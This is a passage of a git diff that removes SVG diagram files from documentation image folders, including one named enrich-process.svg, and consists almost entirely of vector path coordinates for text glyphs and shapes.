638.633425,247.563325 L638.14905,248.8602 C637.8053,248.662283 637.46155,248.563325 637.1178,248.563325 C636.815717,248.563325 636.539675,248.657075 636.289675,248.844575 C636.050092,249.021658 635.878217,249.276867 635.77405,249.6102 C635.6178,250.1102 635.539675,250.657075 635.539675,251.250825 L635.539675,255.594575 L634.133425,255.594575 Z M639.477175,245.750825 L639.477175,244.14145 L640.883425,244.14145 L640.883425,245.750825 L639.477175,245.750825 Z M639.477175,255.594575 L639.477175,247.2977 L640.883425,247.2977 L640.883425,255.594575 L639.477175,255.594575 Z M648.438112,252.5477 L649.828737,252.7352 C649.672487,253.683117 649.281862,254.427908 648.656862,254.969575 C648.042279,255.511242 647.281862,255.782075 646.375612,255.782075 C645.240196,255.782075 644.323529,255.412283 643.625612,254.6727 C642.938112,253.9227 642.594362,252.854992 642.594362,251.469575 C642.594362,250.573742 642.740196,249.792492 643.031862,249.125825 C643.333946,248.448742 643.787071,247.943533 644.391237,247.6102 C645.005821,247.276867 645.667279,247.1102 646.375612,247.1102 C647.281862,247.1102 648.021446,247.339367 648.594362,247.7977 C649.167279,248.245617 649.531862,248.89145 649.688112,249.7352 L648.328737,249.938325 C648.193321,249.386242 647.958946,248.969575 647.625612,248.688325 C647.302696,248.407075 646.906862,248.26645 646.438112,248.26645 C645.729779,248.26645 645.151654,248.521658 644.703737,249.032075 C644.266237,249.532075 644.047487,250.334158 644.047487,251.438325 C644.047487,252.552908 644.261029,253.365408 644.688112,253.875825 C645.115196,254.375825 645.672487,254.625825 646.359987,254.625825 C646.912071,254.625825 647.370404,254.459158 647.734987,254.125825 C648.109987,253.782075 648.344362,253.256033 648.438112,252.5477 Z M651.031862,255.594575 L651.031862,244.14145 L652.438112,244.14145 L652.438112,248.250825 C653.094362,247.490408 653.922487,247.1102 654.922487,247.1102 C655.537071,247.1102 656.068321,247.229992 656.516237,247.469575 C656.974571,247.709158 657.297487,248.042492 657.484987,248.469575 C657.682904,248.896658 657.781862,249.51645 657.781862,250.32895 L657.781862,255.594575 L656.375612,255.594575 L656.375612,250.32895 C656.375612,249.631033 656.224571,249.120617 655.922487,248.7977 C655.620404,248.474783 655.188112,248.313325 654.625612,248.313325 C654.208946,248.313325 653.818321,248.4227 653.453737,248.64145 C653.089154,248.8602 652.828737,249.157075 652.672487,249.532075 C652.516237,249.896658 652.438112,250.401867 652.438112,251.0477 L652.438112,255.594575 L651.031862,255.594575 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M617.6881,277.78207 L617.6881,266.297695 L618.96935,266.297695 L618.96935,267.37582 C619.271433,266.948737 619.609975,266.631028 619.984975,266.422695 C620.370392,266.214362 620.833933,266.110195 621.3756,266.110195 C622.083933,266.110195 622.708933,266.292487 623.2506,266.65707 C623.792267,267.021653 624.198517,267.537278 624.46935,268.203945 C624.7506,268.860195 624.891225,269.584153 624.891225,270.37582 C624.891225,271.229987 624.734975,271.995612 624.422475,272.672695 C624.120392,273.349778 623.677683,273.870612 623.09435,274.235195 C622.521433,274.599778 621.912058,274.78207 621.266225,274.78207 C620.797475,274.78207 620.3756,274.683112 620.0006,274.485195 C619.636017,274.287278 619.333933,274.037278 619.09435,273.735195 L619.09435,277.78207 L617.6881,277.78207 Z M618.953725,270.485195 C618.953725,271.558112 619.167267,272.349778 619.59435,272.860195 C620.03185,273.370612 620.557892,273.62582 621.172475,273.62582 C621.797475,273.62582 622.333933,273.360195 622.78185,272.828945 C623.229767,272.297695 623.453725,271.479987 623.453725,270.37582 C623.453725,269.31332 623.234975,268.521653 622.797475,268.00082 C622.359975,267.46957 621.839142,267.203945 621.234975,267.203945 C620.641225,267.203945 620.109975,267.485195 619.641225,268.047695 C619.182892,268.610195 618.953725,269.422695 618.953725,270.485195 Z M626.055287,270.43832 C626.055287,268.90707 626.482371,267.771653 627.336537,267.03207 C628.055287,266.417487 628.925079,266.110195 629.945912,266.110195 C631.091746,266.110195 632.024037,266.485195 632.742787,267.235195 C633.471954,267.974778 633.836537,269.006028 633.836537,270.328945 C633.836537,271.391445 633.675079,272.229987 633.352162,272.84457 C633.029246,273.459153 632.560496,273.93832 631.945912,274.28207 C631.341746,274.615403 630.675079,274.78207 629.945912,274.78207 C628.789662,274.78207 627.852162,274.412278 627.133412,273.672695 C626.414662,272.922695 626.055287,271.84457 626.055287,270.43832 Z M627.508412,270.43832 C627.508412,271.50082 627.737579,272.297695 628.195912,272.828945 C628.664662,273.360195 629.247996,273.62582 629.945912,273.62582 C630.643829,273.62582 631.221954,273.360195 631.680287,272.828945 C632.149037,272.297695 632.383412,271.485195 632.383412,270.391445 C632.383412,269.370612 632.149037,268.59457 631.680287,268.06332 C631.221954,267.53207 630.643829,267.266445 629.945912,267.266445 C629.247996,267.266445 628.664662,267.53207 628.195912,268.06332 C627.737579,268.584153 627.508412,269.37582 627.508412,270.43832 Z M635.453725,274.59457 L635.453725,263.141445 L636.859975,263.141445 L636.859975,274.59457 L635.453725,274.59457 Z M639.039662,264.75082 L639.039662,263.141445 L640.445912,263.141445 L640.445912,264.75082 L639.039662,264.75082 Z M639.039662,274.59457 L639.039662,266.297695 L640.445912,266.297695 L640.445912,274.59457 L639.039662,274.59457 Z M648.0006,271.547695 L649.391225,271.735195 C649.234975,272.683112 648.84435,273.427903 648.21935,273.96957 C647.604767,274.511237 646.84435,274.78207 645.9381,274.78207 C644.802683,274.78207 643.886017,274.412278 643.1881,273.672695 C642.5006,272.922695 642.15685,271.854987 642.15685,270.46957 C642.15685,269.573737 642.302683,268.792487 642.59435,268.12582 C642.896433,267.448737 643.349558,266.943528 643.953725,266.610195 C644.568308,266.276862 645.229767,266.110195 645.9381,266.110195 C646.84435,266.110195 647.583933,266.339362 648.15685,266.797695 C648.729767,267.245612 649.09435,267.891445 649.2506,268.735195 L647.891225,268.93832 C647.755808,268.386237 647.521433,267.96957 647.1881,267.68832 C646.865183,267.40707 646.46935,267.266445 646.0006,267.266445 C645.292267,267.266445 644.714142,267.521653 644.266225,268.03207 C643.828725,268.53207 643.609975,269.334153 643.609975,270.43832 C643.609975,271.552903 643.823517,272.365403 644.2506,272.87582 C644.677683,273.37582 645.234975,273.62582 645.922475,273.62582 C646.474558,273.62582 646.932892,273.459153 647.297475,273.12582 C647.672475,272.78207 647.90685,272.256028 648.0006,271.547695 Z M650.53185,277.797695 L650.3756,276.46957 C650.677683,276.552903 650.943308,276.59457 651.172475,276.59457 C651.484975,276.59457 651.734975,276.542487 651.922475,276.43832 C652.109975,276.334153 652.266225,276.18832 652.391225,276.00082 C652.474558,275.865403 652.615183,275.516445 652.8131,274.953945 C652.84435,274.881028 652.886017,274.766445 652.9381,274.610195 L649.797475,266.297695 L651.3131,266.297695 L653.03185,271.09457 C653.261017,271.709153 653.464142,272.349778 653.641225,273.016445 C653.797475,272.370612 653.990183,271.740403 654.21935,271.12582 L655.984975,266.297695 L657.391225,266.297695 L654.234975,274.735195 C653.901642,275.651862 653.641225,276.28207 653.453725,276.62582 C653.203725,277.084153 652.917267,277.422695 652.59435,277.641445 C652.271433,277.860195 651.886017,277.96957 651.4381,277.96957 C651.167267,277.96957 650.865183,277.912278 650.53185,277.797695 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M670.6301,226.4404 L727.92142,205.558518" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M670.6301,226.4404 L727.92142,205.558518" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M670.6301,292.02875 L727.92142,298.989352" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M670.6301,292.02875 L727.92142,298.989352" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M589.6299,259.23456 L535.992144,259.140078" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M589.62994,259.23456 L547.992123,259.161226" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#595959" stroke-width="2" fill="#595959" points="547.9979 255.85776 538.91593 259.145236 547.986243 262.464663"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/ingest/enrich/enrich-process.svg b/docs/reference/images/ingest/enrich/enrich-process.svg
deleted file mode 100644
index a346f759238..00000000000
--- a/docs/reference/images/ingest/enrich/enrich-process.svg
+++ /dev/null
@@ -1,64 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="562px" height="393px" viewBox="0 0 562 393" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 53.2 (72643) - https://sketchapp.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 540 0 540"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="enrich-process" transform="translate(-252.000000, -28.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill="#FFFFFF" points="0 0 960 0 960 540 0 540"></polygon>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="252.021 161.40158 407.70603 161.40158 407.70603 187.70079 252.021 187.70079"></polygon>
-                <path d="M279.7776,175.91783 L279.7776,174.308455 L281.18385,174.308455 L281.18385,175.91783 L279.7776,175.91783 Z M279.7776,185.76158 L279.7776,177.464705 L281.18385,177.464705 L281.18385,185.76158 L279.7776,185.76158 Z M283.332288,185.76158 L283.332288,177.464705 L284.597913,177.464705 L284.597913,178.63658 C285.202079,177.73033 286.082288,177.277205 287.238538,177.277205 C287.738538,177.277205 288.196871,177.365747 288.613538,177.54283 C289.030204,177.719913 289.342704,177.954288 289.551038,178.245955 C289.759371,178.537622 289.905204,178.88658 289.988538,179.29283 C290.040621,179.553247 290.066663,180.006372 290.066663,180.652205 L290.066663,185.76158 L288.660413,185.76158 L288.660413,180.714705 C288.660413,180.141788 288.603121,179.714705 288.488538,179.433455 C288.384371,179.141788 288.191663,178.912622 287.910413,178.745955 C287.639579,178.579288 287.316663,178.495955 286.941663,178.495955 C286.337496,178.495955 285.816663,178.688663 285.379163,179.07408 C284.952079,179.44908 284.738538,180.16783 284.738538,181.23033 L284.738538,185.76158 L283.332288,185.76158 Z M291.9651,186.44908 L293.3401,186.652205 C293.392183,187.079288 293.548433,187.38658 293.80885,187.57408 C294.163017,187.834497 294.642183,187.964705 295.24635,187.964705 C295.892183,187.964705 296.392183,187.834497 296.74635,187.57408 C297.100517,187.313663 297.3401,186.94908 297.4651,186.48033 C297.538017,186.19908 297.574475,185.594913 297.574475,184.66783 C296.959892,185.396997 296.194267,185.76158 295.2776,185.76158 C294.131767,185.76158 293.24635,185.350122 292.62135,184.527205 C291.99635,183.704288 291.68385,182.714705 291.68385,181.558455 C291.68385,180.766788 291.824475,180.037622 292.105725,179.370955 C292.397392,178.704288 292.814058,178.188663 293.355725,177.82408 C293.907808,177.459497 294.548433,177.277205 295.2776,177.277205 C296.256767,177.277205 297.064058,177.673038 297.699475,178.464705 L297.699475,177.464705 L298.99635,177.464705 L298.99635,184.63658 C298.99635,185.928247 298.866142,186.844913 298.605725,187.38658 C298.345308,187.928247 297.928642,188.35533 297.355725,188.66783 C296.782808,188.98033 296.079683,189.13658 295.24635,189.13658 C294.256767,189.13658 293.454683,188.912622 292.8401,188.464705 C292.235933,188.016788 291.944267,187.344913 291.9651,186.44908 Z M293.136975,181.464705 C293.136975,182.548038 293.350517,183.339705 293.7776,183.839705 C294.2151,184.339705 294.756767,184.589705 295.4026,184.589705 C296.048433,184.589705 296.5901,184.344913 297.0276,183.85533 C297.4651,183.35533 297.68385,182.57408 297.68385,181.51158 C297.68385,180.490747 297.459892,179.725122 297.011975,179.214705 C296.564058,178.693872 296.022392,178.433455 295.386975,178.433455 C294.761975,178.433455 294.230725,178.688663 293.793225,179.19908 C293.355725,179.709497 293.136975,180.464705 293.136975,181.464705 Z M306.801038,183.089705 L308.254163,183.26158 C308.024996,184.115747 307.597913,184.777205 306.972913,185.245955 C306.358329,185.714705 305.571871,185.94908 304.613538,185.94908 C303.394788,185.94908 302.431246,185.57408 301.722913,184.82408 C301.014579,184.07408 300.660413,183.027205 300.660413,181.683455 C300.660413,180.287622 301.019788,179.204288 301.738538,178.433455 C302.457288,177.662622 303.389579,177.277205 304.535413,177.277205 C305.639579,177.277205 306.540621,177.657413 307.238538,178.41783 C307.946871,179.16783 308.301038,180.225122 308.301038,181.589705 C308.301038,181.673038 308.301038,181.798038 308.301038,181.964705 L302.113538,181.964705 C302.165621,182.881372 302.420829,183.584497 302.879163,184.07408 C303.347913,184.553247 303.926038,184.79283 304.613538,184.79283 C305.134371,184.79283 305.577079,184.657413 305.941663,184.38658 C306.306246,184.115747 306.592704,183.683455 306.801038,183.089705 Z M302.191663,180.808455 L306.816663,180.808455 C306.754163,180.110538 306.577079,179.589705 306.285413,179.245955 C305.837496,178.704288 305.259371,178.433455 304.551038,178.433455 C303.905204,178.433455 303.358329,178.652205 302.910413,179.089705 C302.472913,179.516788 302.233329,180.089705 302.191663,180.808455 Z M309.4651,183.277205 L310.855725,183.058455 C310.928642,183.620955 311.142183,184.053247 311.49635,184.35533 C311.860933,184.646997 312.360933,184.79283 312.99635,184.79283 C313.642183,184.79283 314.12135,184.662622 314.43385,184.402205 C314.74635,184.131372 314.9026,183.818872 314.9026,183.464705 C314.9026,183.152205 314.767183,182.902205 314.49635,182.714705 C314.298433,182.589705 313.819267,182.433455 313.05885,182.245955 C312.0276,181.985538 311.30885,181.76158 310.9026,181.57408 C310.506767,181.376163 310.204683,181.110538 309.99635,180.777205 C309.798433,180.443872 309.699475,180.07408 309.699475,179.66783 C309.699475,179.29283 309.782808,178.94908 309.949475,178.63658 C310.116142,178.32408 310.345308,178.063663 310.636975,177.85533 C310.855725,177.688663 311.1526,177.553247 311.5276,177.44908 C311.913017,177.334497 312.319267,177.277205 312.74635,177.277205 C313.4026,177.277205 313.975517,177.370955 314.4651,177.558455 C314.954683,177.745955 315.314058,178.001163 315.543225,178.32408 C315.782808,178.63658 315.949475,179.063663 316.043225,179.60533 L314.668225,179.79283 C314.605725,179.365747 314.423433,179.032413 314.12135,178.79283 C313.819267,178.553247 313.397392,178.433455 312.855725,178.433455 C312.209892,178.433455 311.74635,178.54283 311.4651,178.76158 C311.194267,178.969913 311.05885,179.214705 311.05885,179.495955 C311.05885,179.683455 311.116142,179.850122 311.230725,179.995955 C311.345308,180.141788 311.522392,180.266788 311.761975,180.370955 C311.907808,180.423038 312.324475,180.54283 313.011975,180.73033 C314.001558,180.990747 314.694267,181.209497 315.0901,181.38658 C315.485933,181.553247 315.793225,181.798038 316.011975,182.120955 C316.241142,182.443872 316.355725,182.844913 316.355725,183.32408 C316.355725,183.79283 316.2151,184.235538 315.93385,184.652205 C315.663017,185.058455 315.267183,185.376163 314.74635,185.60533 C314.235933,185.834497 313.657808,185.94908 313.011975,185.94908 C311.928642,185.94908 311.105725,185.725122 310.543225,185.277205 C309.980725,184.829288 309.62135,184.162622 309.4651,183.277205 Z M321.0901,184.495955 L321.293225,185.745955 C320.897392,185.829288 320.543225,185.870955 320.230725,185.870955 C319.720308,185.870955 319.324475,185.79283 319.043225,185.63658 C318.761975,185.469913 318.564058,185.256372 318.449475,184.995955 C318.334892,184.725122 318.2776,184.16783 318.2776,183.32408 L318.2776,178.558455 L317.24635,178.558455 L317.24635,177.464705 L318.2776,177.464705 L318.2776,175.402205 L319.68385,174.558455 L319.68385,177.464705 L321.0901,177.464705 L321.0901,178.558455 L319.68385,178.558455 L319.68385,183.402205 C319.68385,183.808455 319.704683,184.068872 319.74635,184.183455 C319.798433,184.298038 319.881767,184.391788 319.99635,184.464705 C320.110933,184.527205 320.272392,184.558455 320.480725,184.558455 C320.636975,184.558455 320.8401,184.537622 321.0901,184.495955 Z M326.918225,188.94908 L326.918225,177.464705 L328.199475,177.464705 L328.199475,178.54283 C328.501558,178.115747 328.8401,177.798038 329.2151,177.589705 C329.600517,177.381372 330.064058,177.277205 330.605725,177.277205 C331.314058,177.277205 331.939058,177.459497 332.480725,177.82408 C333.022392,178.188663 333.428642,178.704288 333.699475,179.370955 C333.980725,180.027205 334.12135,180.751163 334.12135,181.54283 C334.12135,182.396997 333.9651,183.162622 333.6526,183.839705 C333.350517,184.516788 332.907808,185.037622 332.324475,185.402205 C331.751558,185.766788 331.142183,185.94908 330.49635,185.94908 C330.0276,185.94908 329.605725,185.850122 329.230725,185.652205 C328.866142,185.454288 328.564058,185.204288 328.324475,184.902205 L328.324475,188.94908 L326.918225,188.94908 Z M328.18385,181.652205 C328.18385,182.725122 328.397392,183.516788 328.824475,184.027205 C329.261975,184.537622 329.788017,184.79283 330.4026,184.79283 C331.0276,184.79283 331.564058,184.527205 332.011975,183.995955 C332.459892,183.464705 332.68385,182.646997 332.68385,181.54283 C332.68385,180.48033 332.4651,179.688663 332.0276,179.16783 C331.5901,178.63658 331.069267,178.370955 330.4651,178.370955 C329.87135,178.370955 329.3401,178.652205 328.87135,179.214705 C328.413017,179.777205 328.18385,180.589705 328.18385,181.652205 Z M335.816663,175.91783 L335.816663,174.308455 L337.222913,174.308455 L337.222913,175.91783 L335.816663,175.91783 Z M335.816663,185.76158 L335.816663,177.464705 L337.222913,177.464705 L337.222913,185.76158 L335.816663,185.76158 Z M339.37135,188.94908 L339.37135,177.464705 L340.6526,177.464705 L340.6526,178.54283 C340.954683,178.115747 341.293225,177.798038 341.668225,177.589705 C342.053642,177.381372 342.517183,177.277205 343.05885,177.277205 C343.767183,177.277205 344.392183,177.459497 344.93385,177.82408 C345.475517,178.188663 345.881767,178.704288 346.1526,179.370955 C346.43385,180.027205 346.574475,180.751163 346.574475,181.54283 C346.574475,182.396997 346.418225,183.162622 346.105725,183.839705 C345.803642,184.516788 345.360933,185.037622 344.7776,185.402205 C344.204683,185.766788 343.595308,185.94908 342.949475,185.94908 C342.480725,185.94908 342.05885,185.850122 341.68385,185.652205 C341.319267,185.454288 341.017183,185.204288 340.7776,184.902205 L340.7776,188.94908 L339.37135,188.94908 Z M340.636975,181.652205 C340.636975,182.725122 340.850517,183.516788 341.2776,184.027205 C341.7151,184.537622 342.241142,184.79283 342.855725,184.79283 C343.480725,184.79283 344.017183,184.527205 344.4651,183.995955 C344.913017,183.464705 345.136975,182.646997 345.136975,181.54283 C345.136975,180.48033 344.918225,179.688663 344.480725,179.16783 C344.043225,178.63658 343.522392,178.370955 342.918225,178.370955 C342.324475,178.370955 341.793225,178.652205 341.324475,179.214705 C340.866142,179.777205 340.636975,180.589705 340.636975,181.652205 Z M353.941663,183.089705 L355.394788,183.26158 C355.165621,184.115747 354.738538,184.777205 354.113538,185.245955 C353.498954,185.714705 352.712496,185.94908 351.754163,185.94908 C350.535413,185.94908 349.571871,185.57408 348.863538,184.82408 C348.155204,184.07408 347.801038,183.027205 347.801038,181.683455 C347.801038,180.287622 348.160413,179.204288 348.879163,178.433455 C349.597913,177.662622 350.530204,177.277205 351.676038,177.277205 C352.780204,177.277205 353.681246,177.657413 354.379163,178.41783 C355.087496,179.16783 355.441663,180.225122 355.441663,181.589705 C355.441663,181.673038 355.441663,181.798038 355.441663,181.964705 L349.254163,181.964705 C349.306246,182.881372 349.561454,183.584497 350.019788,184.07408 C350.488538,184.553247 351.066663,184.79283 351.754163,184.79283 C352.274996,184.79283 352.717704,184.657413 353.082288,184.38658 C353.446871,184.115747 353.733329,183.683455 353.941663,183.089705 Z M349.332288,180.808455 L353.957288,180.808455 C353.894788,180.110538 353.717704,179.589705 353.426038,179.245955 C352.978121,178.704288 352.399996,178.433455 351.691663,178.433455 C351.045829,178.433455 350.498954,178.652205 350.051038,179.089705 C349.613538,179.516788 349.373954,180.089705 349.332288,180.808455 Z M357.136975,185.76158 L357.136975,174.308455 L358.543225,174.308455 L358.543225,185.76158 L357.136975,185.76158 Z M360.722913,175.91783 L360.722913,174.308455 L362.129163,174.308455 L362.129163,175.91783 L360.722913,175.91783 Z M360.722913,185.76158 L360.722913,177.464705 L362.129163,177.464705 L362.129163,185.76158 L360.722913,185.76158 Z M364.2776,185.76158 L364.2776,177.464705 L365.543225,177.464705 L365.543225,178.63658 C366.147392,177.73033 367.0276,177.277205 368.18385,177.277205 C368.68385,177.277205 369.142183,177.365747 369.55885,177.54283 C369.975517,177.719913 370.288017,177.954288 370.49635,178.245955 C370.704683,178.537622 370.850517,178.88658 370.93385,179.29283 C370.985933,179.553247 371.011975,180.006372 371.011975,180.652205 L371.011975,185.76158 L369.605725,185.76158 L369.605725,180.714705 C369.605725,180.141788 369.548433,179.714705 369.43385,179.433455 C369.329683,179.141788 369.136975,178.912622 368.855725,178.745955 C368.584892,178.579288 368.261975,178.495955 367.886975,178.495955 C367.282808,178.495955 366.761975,178.688663 366.324475,179.07408 C365.897392,179.44908 365.68385,180.16783 365.68385,181.23033 L365.68385,185.76158 L364.2776,185.76158 Z M378.847913,183.089705 L380.301038,183.26158 C380.071871,184.115747 379.644788,184.777205 379.019788,185.245955 C378.405204,185.714705 377.618746,185.94908 376.660413,185.94908 C375.441663,185.94908 374.478121,185.57408 373.769788,184.82408 C373.061454,184.07408 372.707288,183.027205 372.707288,181.683455 C372.707288,180.287622 373.066663,179.204288 373.785413,178.433455 C374.504163,177.662622 375.436454,177.277205 376.582288,177.277205 C377.686454,177.277205 378.587496,177.657413 379.285413,178.41783 C379.993746,179.16783 380.347913,180.225122 380.347913,181.589705 C380.347913,181.673038 380.347913,181.798038 380.347913,181.964705 L374.160413,181.964705 C374.212496,182.881372 374.467704,183.584497 374.926038,184.07408 C375.394788,184.553247 375.972913,184.79283 376.660413,184.79283 C377.181246,184.79283 377.623954,184.657413 377.988538,184.38658 C378.353121,184.115747 378.639579,183.683455 378.847913,183.089705 Z M374.238538,180.808455 L378.863538,180.808455 C378.801038,180.110538 378.623954,179.589705 378.332288,179.245955 C377.884371,178.704288 377.306246,178.433455 376.597913,178.433455 C375.952079,178.433455 375.405204,178.652205 374.957288,179.089705 C374.519788,179.516788 374.280204,180.089705 374.238538,180.808455 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M727.9239,188.19537 L727.9239,188.19537 C727.9239,183.403012 731.808849,179.518032 736.601207,179.518032 L805.136302,179.518032 C807.437694,179.518032 809.644786,180.432247 811.272105,182.059566 C812.899424,183.686886 813.81367,185.893993 813.81367,188.195369 L813.81367,222.903682 C813.81367,227.696041 809.92866,231.58102 805.136302,231.58102 L736.601207,231.58102 C731.808849,231.58102 727.9239,227.696041 727.9239,222.903682 L727.9239,188.19537 Z" id="Path" fill="#F04E98"></path>
-                <path d="M747.35706,199.42516 L748.747685,199.20641 C748.820602,199.76891 749.034143,200.201202 749.38831,200.503285 C749.752893,200.794952 750.252893,200.940785 750.88831,200.940785 C751.534143,200.940785 752.01331,200.810577 752.32581,200.55016 C752.63831,200.279327 752.79456,199.966827 752.79456,199.61266 C752.79456,199.30016 752.659143,199.05016 752.38831,198.86266 C752.190393,198.73766 751.711227,198.58141 750.95081,198.39391 C749.91956,198.133493 749.20081,197.909535 748.79456,197.722035 C748.398727,197.524118 748.096643,197.258493 747.88831,196.92516 C747.690393,196.591827 747.591435,196.222035 747.591435,195.815785 C747.591435,195.440785 747.674768,195.097035 747.841435,194.784535 C748.008102,194.472035 748.237268,194.211618 748.528935,194.003285 C748.747685,193.836618 749.04456,193.701202 749.41956,193.597035 C749.804977,193.482452 750.211227,193.42516 750.63831,193.42516 C751.29456,193.42516 751.867477,193.51891 752.35706,193.70641 C752.846643,193.89391 753.206018,194.149118 753.435185,194.472035 C753.674768,194.784535 753.841435,195.211618 753.935185,195.753285 L752.560185,195.940785 C752.497685,195.513702 752.315393,195.180368 752.01331,194.940785 C751.711227,194.701202 751.289352,194.58141 750.747685,194.58141 C750.101852,194.58141 749.63831,194.690785 749.35706,194.909535 C749.086227,195.117868 748.95081,195.36266 748.95081,195.64391 C748.95081,195.83141 749.008102,195.998077 749.122685,196.14391 C749.237268,196.289743 749.414352,196.414743 749.653935,196.51891 C749.799768,196.570993 750.216435,196.690785 750.903935,196.878285 C751.893518,197.138702 752.586227,197.357452 752.98206,197.534535 C753.377893,197.701202 753.685185,197.945993 753.903935,198.26891 C754.133102,198.591827 754.247685,198.992868 754.247685,199.472035 C754.247685,199.940785 754.10706,200.383493 753.82581,200.80016 C753.554977,201.20641 753.159143,201.524118 752.63831,201.753285 C752.127893,201.982452 751.549768,202.097035 750.903935,202.097035 C749.820602,202.097035 748.997685,201.873077 748.435185,201.42516 C747.872685,200.977243 747.51331,200.310577 747.35706,199.42516 Z M755.38831,197.753285 C755.38831,196.222035 755.815393,195.086618 756.66956,194.347035 C757.38831,193.732452 758.258102,193.42516 759.278935,193.42516 C760.424768,193.42516 761.35706,193.80016 762.07581,194.55016 C762.804977,195.289743 763.16956,196.320993 763.16956,197.64391 C763.16956,198.70641 763.008102,199.544952 762.685185,200.159535 C762.362268,200.774118 761.893518,201.253285 761.278935,201.597035 C760.674768,201.930368 760.008102,202.097035 759.278935,202.097035 C758.122685,202.097035 757.185185,201.727243 756.466435,200.98766 C755.747685,200.23766 755.38831,199.159535 755.38831,197.753285 Z M756.841435,197.753285 C756.841435,198.815785 757.070602,199.61266 757.528935,200.14391 C757.997685,200.67516 758.581018,200.940785 759.278935,200.940785 C759.976852,200.940785 760.554977,200.67516 761.01331,200.14391 C761.48206,199.61266 761.716435,198.80016 761.716435,197.70641 C761.716435,196.685577 761.48206,195.909535 761.01331,195.378285 C760.554977,194.847035 759.976852,194.58141 759.278935,194.58141 C758.581018,194.58141 757.997685,194.847035 757.528935,195.378285 C757.070602,195.899118 756.841435,196.690785 756.841435,197.753285 Z M770.255498,201.909535 L770.255498,200.690785 C769.609664,201.628285 768.729456,202.097035 767.614873,202.097035 C767.125289,202.097035 766.666956,202.003285 766.239873,201.815785 C765.823206,201.628285 765.510706,201.39391 765.302373,201.11266 C765.094039,200.820993 764.948206,200.472035 764.864873,200.065785 C764.812789,199.784535 764.786748,199.347035 764.786748,198.753285 L764.786748,193.61266 L766.192998,193.61266 L766.192998,198.20641 C766.192998,198.945993 766.219039,199.440785 766.271123,199.690785 C766.364873,200.065785 766.552373,200.357452 766.833623,200.565785 C767.125289,200.774118 767.479456,200.878285 767.896123,200.878285 C768.323206,200.878285 768.719039,200.774118 769.083623,200.565785 C769.458623,200.347035 769.719039,200.05016 769.864873,199.67516 C770.021123,199.30016 770.099248,198.758493 770.099248,198.05016 L770.099248,193.61266 L771.505498,193.61266 L771.505498,201.909535 L770.255498,201.909535 Z M773.70081,201.909535 L773.70081,193.61266 L774.966435,193.61266 L774.966435,194.86266 C775.289352,194.279327 775.586227,193.89391 775.85706,193.70641 C776.127893,193.51891 776.429977,193.42516 776.76331,193.42516 C777.23206,193.42516 777.711227,193.576202 778.20081,193.878285 L777.716435,195.17516 C777.372685,194.977243 777.028935,194.878285 776.685185,194.878285 C776.383102,194.878285 776.10706,194.972035 775.85706,195.159535 C775.617477,195.336618 775.445602,195.591827 775.341435,195.92516 C775.185185,196.42516 775.10706,196.972035 775.10706,197.565785 L775.10706,201.909535 L773.70081,201.909535 Z M784.45081,198.86266 L785.841435,199.05016 C785.685185,199.998077 785.29456,200.742868 784.66956,201.284535 C784.054977,201.826202 783.29456,202.097035 782.38831,202.097035 C781.252893,202.097035 780.336227,201.727243 779.63831,200.98766 C778.95081,200.23766 778.60706,199.169952 778.60706,197.784535 C778.60706,196.888702 778.752893,196.107452 779.04456,195.440785 C779.346643,194.763702 779.799768,194.258493 780.403935,193.92516 C781.018518,193.591827 781.679977,193.42516 782.38831,193.42516 C783.29456,193.42516 784.034143,193.654327 784.60706,194.11266 C785.179977,194.560577 785.54456,195.20641 785.70081,196.05016 L784.341435,196.253285 C784.206018,195.701202 783.971643,195.284535 783.63831,195.003285 C783.315393,194.722035 782.91956,194.58141 782.45081,194.58141 C781.742477,194.58141 781.164352,194.836618 780.716435,195.347035 C780.278935,195.847035 780.060185,196.649118 780.060185,197.753285 C780.060185,198.867868 780.273727,199.680368 780.70081,200.190785 C781.127893,200.690785 781.685185,200.940785 782.372685,200.940785 C782.924768,200.940785 783.383102,200.774118 783.747685,200.440785 C784.122685,200.097035 784.35706,199.570993 784.45081,198.86266 Z M792.716435,199.23766 L794.16956,199.409535 C793.940393,200.263702 793.51331,200.92516 792.88831,201.39391 C792.273727,201.86266 791.487268,202.097035 790.528935,202.097035 C789.310185,202.097035 788.346643,201.722035 787.63831,200.972035 C786.929977,200.222035 786.57581,199.17516 786.57581,197.83141 C786.57581,196.435577 786.935185,195.352243 787.653935,194.58141 C788.372685,193.810577 789.304977,193.42516 790.45081,193.42516 C791.554977,193.42516 792.456018,193.805368 793.153935,194.565785 C793.862268,195.315785 794.216435,196.373077 794.216435,197.73766 C794.216435,197.820993 794.216435,197.945993 794.216435,198.11266 L788.028935,198.11266 C788.081018,199.029327 788.336227,199.732452 788.79456,200.222035 C789.26331,200.701202 789.841435,200.940785 790.528935,200.940785 C791.049768,200.940785 791.492477,200.805368 791.85706,200.534535 C792.221643,200.263702 792.508102,199.83141 792.716435,199.23766 Z M788.10706,196.95641 L792.73206,196.95641 C792.66956,196.258493 792.492477,195.73766 792.20081,195.39391 C791.752893,194.852243 791.174768,194.58141 790.466435,194.58141 C789.820602,194.58141 789.273727,194.80016 788.82581,195.23766 C788.38831,195.664743 788.148727,196.23766 788.10706,196.95641 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
